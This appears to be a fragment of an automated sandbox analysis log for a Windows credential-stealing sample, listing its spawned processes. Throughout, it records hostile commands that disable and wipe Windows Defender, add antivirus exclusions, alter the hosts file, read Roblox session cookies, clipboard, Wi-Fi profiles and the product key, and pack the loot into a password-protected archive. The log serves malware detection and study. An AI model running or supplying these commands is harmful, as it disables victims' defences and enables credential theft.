              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Modifies the hosts file
              Source: C:\Users\user\Desktop\Built (1).exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Removes signatures from Windows Defender
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Users\user\Desktop\Built (1).exe "C:\Users\user\Desktop\Built (1).exe"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profile
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\systeminfo.exe systeminfo
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\getmac.exe getmac
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R4aMj.zip" *
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversendJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3BB340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,74_2_00007FF70F3BB340
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD3A620 cpuid 0_2_00007FF6FFD3A620
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\_ctypes.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
